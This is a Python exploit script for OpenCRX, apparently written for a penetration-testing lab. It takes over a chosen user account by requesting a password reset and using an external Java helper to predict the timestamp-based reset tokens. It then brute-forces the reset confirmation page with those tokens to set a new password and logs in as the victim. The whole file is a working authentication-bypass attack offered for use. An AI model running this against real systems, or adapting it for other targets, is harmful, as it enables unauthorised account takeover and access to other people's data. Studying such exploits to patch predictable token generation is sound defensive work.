auth_bypass.py
import requests, time, sys, argparse, subprocess, re
from multiprocessing import Pool
s = requests.session()
proxies = {
"http": "http://127.0.0.1:8080",
"https": "https://127.0.0.1:8080",
}
def timestamp():
return round(time.time() * 1000)
def generateToken(ip, user):
t1 = timestamp()
time.sleep(3)
requestReset(ip, user)
t2 = timestamp()
cmd = "java OpenCRXToken %d %d" % (t1, t2)
gen = subprocess.Popen(cmd, stdout=subprocess.PIPE, shell=True)
tokens = gen.stdout.read().decode("UTF-8").split("\n")[:-1]
num = "\n[+] Generated %s tokens." % len(tokens)
print(num)
return tokens
def requestReset(ip, user):
target = "http://%s/opencrx-core-CRX/RequestPasswordReset.jsp" % ip
data = {"id": user}
req = s.post(target, data=data)
res = req.text
if "Password reset request successful" in res:
print("\n[+] Password reset requested for user %s" % user)
elif "Unable to request password reset" in res:
print("\n[!] Error: user %s not found." % user)
sys.exit(-1)
def resetPassword(ip, tokens, user, passwd):
target = "http://%s/opencrx-core-CRX/PasswordResetConfirm.jsp" % ip
for token in tokens:
print(f"\r[+] Trying: {token}",end="")
data = { "t": token,
"p": "CRX",
"s": "Standard",
"id": user,
"password1": passwd,
"password2": passwd }
req = s.post(target, data)
res = req.text
if "Password successfully changed for" in res:
match = re.search(r'<h2>Password successfully changed for (.*?)</h2>', res)
if match:
user = match.group(1)
print("\n[+] Credential "+passwd+" succesfully applied for user "+user)
break
def authenticate(ip, user, passwd):
target = "http://%s" % ip
data = { "j_username": user,
"j_password": passwd }
s.get(target + '/opencrx-core-CRX/ObjectInspectorServlet?loginFailed=false')
print("\n[+] Attempting to authenticate with the applied credentials...")
req = s.post(target + '/opencrx-core-CRX/j_security_check', data=data)
res = req.text
if "?requestId=" in res:
print("\n[+] Login successful!")
match = re.search(r"href='(.*?)';", res)
if match:
url = match.group(1)
req = s.get(url)
res = req.text
user = re.search(r"<title>(.*?)</title>", res)
if user:
print(user.group(1))
else:
print("\n[!] Login failed.")
def main():
parser = argparse.ArgumentParser()
parser.add_argument('--ip', help='Target IP address', required=True)
parser.add_argument('--user', help='Target username', required=True)
parser.add_argument('--passwd', help='Desired password to be defined', required=True)
args = parser.parse_args()
if len(sys.argv)<=1:
print("[!] Usage: python3 %s --ip 192.168.0.5 --user USER --pass NewPass@123" % sys.argv[0])
parser.print_help()
sys.exit(-1)
ip = args.ip
user = args.user
passwd = args.passwd
tokens = generateToken(ip, user)
resetPassword(ip, tokens, user, passwd)
authenticate(ip, user, passwd)
if __name__ == "__main__":
main()
Last updated